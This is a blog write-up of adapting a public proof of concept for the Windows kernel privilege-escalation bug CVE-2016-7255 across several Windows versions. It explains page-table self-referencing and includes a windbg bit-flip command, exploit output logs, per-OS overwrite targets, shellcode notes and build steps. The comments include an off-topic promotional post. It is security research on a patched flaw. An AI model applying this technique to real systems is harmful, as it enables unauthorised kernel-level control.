After the Google Security team released the details on a local privilege escalation via win32k.sys system call NtSetWindowLongPtr() for the index GWLP_ID on a window handle with GWL_STYLE set to WS_CHILD, I decided to research the vulnerability.
Perusing Twitter, I came across the post details a PoC for cve-2016-7255. The PoC demonstrates the vulnerability: in kernel mode, an attacker controlled address is dereferenced with the value logically or'ed with 0x4.
At Blackhat 2016, a presentation was released: Windows 10 Mitigation Improvements, showing that the system region PML4 entries are now randomized instead of using the static entry of 0x1ed.
At Zero Nights 2016, a presentation and PoC from Enrique Nissim was released: I Know Where Your Page Lives - De-Randomizing the Latest Windows 10 Kernel and for Windows 10 anniversary edition. Enrique demonstrates how to determine the now random PML4 entries that have been randomized in the latest build of Windows.
I have taken his PoC and adapted it to exploit the same vulnerability in 64 bit versions of Windows 7, 8.1, 10 prior to the anniversary update, and Server 2012 R2.
The changes that were made are:
- Set the PML4 self-reference entry to the static entry of 0xFFFFF6FB7DBEDF68
- Adjusted the shellcode to account for the different offset values in the OS versions
- Added different overwrite targets for the different OS'es
- Win 7 Workstation - using the common Hal Dispatch Table and call to NtQueryIntervalProfile
- Win 8.1 Workstation - using the HalpApicRequestInterrupt pointer
- Win 10 Workstation (prior to the anniversary update) - using the HalpApicRequestInterrupt pointer
- Window Server 2012 R2 - using the HalpApicRequestInterrupt pointer
To better understand this vulnerability and how the exploit works, a discussion of how the virtual memory manager works is required.
Virtual Memory and Page Tables
To understand how to map a virtual address to it's physical, we can refer to the AMD and Intel Developer manuals to understand the mapping and page table entries.
[3] - 4-Kbyte Page Translation—Long Mode
[3] - Page Table Entries
Key bits that will be referenced later in the code.
Read/Write (R/W) Bit. Bit 1. - if 0, writes may not be allowed
User/Supervisor (U/S) Bit. Bit 2. - If 0, user-mode access (ring 3) is not allowedNo Execute (NX) Bit. Bit 63.- if 1, not allowed for code execution.
Walk through of mapping a virtual address to it's physical address
To help understand how to map a virtual address to it physical address and view kernel memory page table address, I will use windbg to walk through the mapping. I am using a small program that will write "A" at virtual address 0x1000000
Virtual Address
Convert to Physical Address
In the example below, I am using windbg as kernel debug mode and have switched into the context of the user process.
!process 0 0 nameofexe.exe
.process /i <address of the process>
.reload /user
The first step is to obtain the value of the cr3 register: "r cr3" 0x1fddff000
which will point to the physical address of the PML4 table.
Using 47-39 bits (virtual address) * 8 (each address is a 64 bit address or 8 bytes) to find the physical address of the Page Directory Pointer Table: 0x1ff48867.
Page Directory Pointer Table
Now use the physical address of the PDP table and zero out the lower 12 bits (867), these 12 bits are referenced above in the Page Table Entries table.
0x1ff48000 + the 38-30 bits (virtual address) as an offset, again times 8 (64 bit address) to find the physical address for the Page Directory Table. 0x19d90867
Page Directory Table
Zero out bits 11-0, to get the physical address: 0x19d90000.
0x19d90000 + 29-21 bits (virtual address) * 8 to find the physical address of the page table: 0x1f491867.
Page Table
Zero out bits 11-0, to get the physical address 0x1f491000.
0x1f491000 + bits 20-12(virtual address) * 8 to get the physical address of the physical page: 0x20692867.
Offset into the physical page
Zero out bits 11-0, to get the physical address: 0x20692000
0x20692000 + bits 11-0 (virtual address): 0x2692000. In this case, this is an offset into the physical page and also represents that this page is 4kb in size, 0x0 - 0xfff is 0 - 4095 or 4kb
The !pte command in windbg will provide the same information:
!pte - windbg
Below is python code that replicates the functionality of !pte in windbg and has the ability to use different self reference indexes (this is useful for calculating the information in Windows 10 build 1607)
<code>
#!/usr/bin/python
import sys
PML4_SELF_REF_INDEX = 0x1ed
def get_pxe_address(address):
entry = PML4_SELF_REF_INDEX;
result = address >> 9;
lower_boundary = (0xFFFF << 48) | (entry << 39);
upper_boundary = ((0xFFFF << 48) | (entry << 39) + 0x8000000000 - 1) & 0xFFFFFFFFFFFFFFF8;
result = result | lower_boundary;
result = result & upper_boundary;
return result
if (len(sys.argv) == 1):
print "Please enter a virtual address and PML4 self ref index in hex format"
print "The PML4 self ref index is option, the static idex of 0x1ed will be used"
print "if one is not entered"
print ""
print sys.argv[0] + " 0x1000 0x1ed"
sys.exit(0)
address = int(sys.argv[1], 16)
if (len(sys.argv) > 2):
PML4_SELF_REF_INDEX = int(sys.argv[2], 16)
pt = get_pxe_address(address)
pd = get_pxe_address(pt)
pdpt = get_pxe_address(pd)
pml4 = get_pxe_address(pdpt)
selfref = get_pxe_address(pml4)
print "Virtual Address: %s" % (hex(address))
print "Self reference index: %s" % (hex(PML4_SELF_REF_INDEX))
print "\n"
print "Page Tables"
print "Self Ref: \t%s" % (hex(selfref))
print "Pml4:\t\t%s" % (hex(pml4))
print "Pdpt:\t\t%s" % (hex(pdpt))
print "Pd:\t\t%s" % (hex(pd))
print "PT:\t\t%s" % (hex(pt))
</code>
Example output
./pagetables.py 0x0 0x1ed
Virtual Address: 0x0
Self reference index: 0x1ed
Page Tables
Self Ref: 0xfffff6fb7dbedf68L
Pml4: 0xfffff6fb7dbed000L
Pdpt: 0xfffff6fb7da00000L
Pd: 0xfffff6fb40000000L
Pt: 0xfffff68000000000L
./pagetables.py 0xfffff68000000000 0x1ed
Virtual Address: 0xfffff68000000000L
Self reference index: 0x1ed
Page Tables
Self Ref: 0xfffff6fb7dbedf68L
Pml4: 0xfffff6fb7dbedf68L
Pdpt: 0xfffff6fb7dbed000L
Pd: 0xfffff6fb7da00000L
Pt: 0xfffff6fb40000000L
!pte in Windows 10 1607
In Windows 10 build 1607 (anniversary edition), windbg does not yet understand the randomize pml4 self reference addresses
By using the pagetables python script from above, windbg does not take into account the randomized pml4 self reference index
./pagetables.py 0x00007ff6dd800000
Virtual Address: 0x7ff6dd800000
Self reference index: 0x1ed
Page Tables
Self Ref: 0xfffff6fb7dbedf68L
Pml4: 0xfffff6fb7dbed7f8L
Pdpt: 0xfffff6fb7daffed8L
Pd: 0xfffff6fb5ffdb760L
PT: 0xfffff6bffb6ec000L
Code Walkthrough
As mentioned above, the vulnerability (CVE-2016-7255), allows us to xor a value with 0x4. It is possible to enable User-mode access to the PML4e self reference address (bit 2 - U/S, from the page table entry diagram) so user space can access the page tables which in turns allows us to read and update any value in memory.
Notice in the Before section, bit 2 is set to zero, indicated by the "K or kenrel" in KW-V. After the exploit is run, targeting the self ref address of 0xFFFFF6FB7DBEDF68, the value 0x30FED863 is flipped to 0x30FED867, enabling user mode access, indicated by the "U or User" in UW-V.
Windows 8.1
Before
After
To replicate in windbg what the exploit is doing, the following command can be used:
r $t1 = FFFFF6FB7DBEDF68; eq $t1 poi($t1) |0x4
Creating new PT to read/write
Now that the entry has been changed to allow user-mode access, Enrique Nissim provides a solution to create new page tables that are updated with physical addresses and attributes, which in turn allows for reading and writing for any memory address.
In this example, the address 0xffffffffffd00510 is only accessible from Kernel mode, indicated by the 0x63, (bits 7-0: "01100011", notice bit 2 is 0) at the each of the entries. By using Enrique's code, we are able to create a page table, that is accessible from user-mode "0x67" (bits 7-0: "01100111", notice bit 2 is now 1) and points to the same physical page as the kernel only memory: 0x1163 or in this case 0x1000 (remember to zero out bits 11-0).
Before
After
Output from Exploit
This is the output from the exploit running on a Windows 7 box.
- A page table is created allowing for reading the value of the haldispatchtable + 0x8.
- A page table is created allowing for writing the shell code to kernel memory, bypassing SMEP and SMAP and removing the NX bit on the page table to allow for code execution.
- A page table is created allowing for overwrite of haldispatchtable +0x8 that will trigger the code execution.
Reading the original value that will be replaced (haldispatchtable + 0x8)
On a Windows 7 box:
[*] Getting Overwrite pointer: fffff80002c42c60
[+] Selected spurious PML4E: fffff6fb7dbedf00
[+] Spurious PT: fffff6fb7dbe0000
--------------------------------------------------
[+] Content pml4e fffff6fb7dbedf80: 199063
[+] Patching the Spurious Offset (PML4e) fffff6fb7dbedf00: 199067
[+] Content pdpte fffff6fb7dbf0000: 198063
[+] Patching the Spurious Offset (PDPTE) fffff6fb7dbedf00: 198067
[+] Content pdpe fffff6fb7e0000b0: 1dc063
[+] Patching the Spurious Offset (PDE) fffff6fb7dbedf00: 1dc067
[+] Content pte fffff6fc00016210: 8000000002c42963
[+] Patching the Spurious Offset (PTE) fffff6fb7dbedf00: 2c42967
OverwriteAddress: fffff6fb7dbe0c60
Ouptut for writing shellcode and removing the NX bit
Original OverwriteTarget pointer: fffff80002a438e8
[+] Selected spurious PML4E: fffff6fb7dbedf08
[+] Spurious PT: fffff6fb7dbe1000
--------------------------------------------------
[+] Content pml4e fffff6fb7dbedff8: 1ec063
[+] Patching the Spurious Offset (PML4e) fffff6fb7dbedf08: 1ec067
[+] Content pdpte fffff6fb7dbffff8: 1eb063
[+] Patching the Spurious Offset (PDPTE) fffff6fb7dbedf08: 1eb067
[+] Content pdpe fffff6fb7ffffff0: 1ea063
[+] Patching the Spurious Offset (PDE) fffff6fb7dbedf08: 1ea067
[+] Content pte fffff6ffffffe800: 100163
*** Patching the original location to enable NX...
[+] Patching the Spurious Offset (PTE) fffff6fb7dbedf08: 100167
HAL address: fffff6fb7dbe1000
[+] w00t: Shellcode stored at: ffffffffffd00d50
Output for overwriting the exec target
[+] Selected spurious PML4E: fffff6fb7dbedf10
[+] Spurious PT: fffff6fb7dbe2000
--------------------------------------------------
[+] Content pml4e fffff6fb7dbedf80: 199063
[+] Patching the Spurious Offset (PML4e) fffff6fb7dbedf10: 199067
[+] Content pdpte fffff6fb7dbf0000: 198063
[+] Patching the Spurious Offset (PDPTE) fffff6fb7dbedf10: 198067
[+] Content pdpe fffff6fb7e0000b0: 1dc063
[+] Patching the Spurious Offset (PDE) fffff6fb7dbedf10: 1dc067
[+] Content pte fffff6fc00016210: 8000000002c42963
[+] Patching the Spurious Offset (PTE) fffff6fb7dbedf10: 2c42967
Patch OverwriteTarget: fffff6fb7dbe2c68 with ffffffffffd00d50
MS16-135
Microsoft released patch MS16-135 on November 8, 2016 to address the vulnerability. McAfee has a nice write-up on the patch and how it fixes the vulnerability.
Demonstration of Exploitation
Windows 7 SP1 Workstation
Windows 8.1 Workstation
Windows 10 Build 1511 Workstation
Windows 2012 R2 Server
Exploit Code
Github Repo
Notes
Using NASM to create shellcode
To update the shellcode, I used NASM to determine the correct assembly instructions to use:
Template:
cat 64bitasm.asm
main: ; the program label for the entry point
mov rbx,[rax+80h]
To compile:
nasm -f elf64 64bitcode.asm
To view assembly:
objdump -M intel -d 64bitcode.o
64bitcode.o: file format elf64-x86-64
Disassembly of section .text:
0000000000000000 <main>:
0: 48 8b 98 80 00 00 00 mov rbx,QWORD PTR [rax+0x80]
References
- Page Tables
- x86-64 Wikipedia
- AMD64 Architecture Programmer’s Manual Volume 2: System Programming
- Understanding PTE part 1
- Understanding PTE part 2
- Understanding PTE part 3
- Windows SMEP Bypass U=S
- Github - I know where your pages live
- Github PoC CVE-2016-7255
- Google Security Blog
- What Makes It Page?: The Windows 7 (x64) Virtual Memory Manager
- Digging Into a Windows Kernel Privilege Escalation Vulnerability: CVE-2016-7255
- Youtube - Black Hat USA 2016 Windows 10 Mitigation Improvements
- Black Hat 2016 - Windows 10 Mitigation Improvements Slides
- Bypassing Kernel ASLR Windows 10, Stéfan Le Berre - Heurs
- Infiltrate 2015 - Insection Awesomely Exploiting Shared Memory Objects, Alex Ionescu
- Windows Kernel Exploitation This Time Font Hunt You Down in 4 Bytes
- Getting Physical: Extreme abuse of Intel based Paging Systems - Part 1
- Getting Physical: Extreme abuse of Intel based Paging Systems - Part 2
- Getting Physical: Extreme abuse of Intel based Paging Systems - Part 3
- CanSecWest 2016 - Getting Physical, Nicolas A. Economou and Enrique E. Nissim
- MS-135 Security Bulletin
- CVE-2106-7255
Hey. Awesome stuff, but i had a question. The compiled executable seems to work great. but whenever i compile your code, unmodified, the resulting exe blue screens the box. im simply using the visual studio c compiler. Any thoughts?
ReplyDeleteCheck to make sure you are compiling to a 64 bit binary and not 32 bit.
ReplyDeleteHi, great article ! Can you explain how to compile your c program ?
ReplyDeleteHey Steve, I used vcvarsall.bat to switch to the 64bit toolset, https://msdn.microsoft.com/en-us/library/x4d2c09s.aspx
Deletevcvarsall.bat amd64
and then used cl to compile:
cl cve-2016-7255.c -> cve-2016-7255.exe
How tricky would it be to pass it an argument as the program to run?
ReplyDeleteI downloaded and install windows 10 creator update, But I did not like it. After installation Microsoft shows downgrade option early after upgrading to Windows 10 and remove it after one month. I recently upgrade my windows 8.1 Professional operating system to windows 10 Professional being getting a license from ODosta Store
ReplyDeleteBut I did not like its overall structure. I think Its not Windows 10, Its version should be windows 6 as it has many faults.
I tried to downgrade back to my existing win 8.1 os and I saw as Microsoft was giving me option to downgrade. I thought that I'll downgrade after two month But after two month when I tried again, Microsoft removed that option. Now what to do. I searched and found your post, Which is very helpful for me. Thanks for sharing these details here.
thank you
ReplyDelete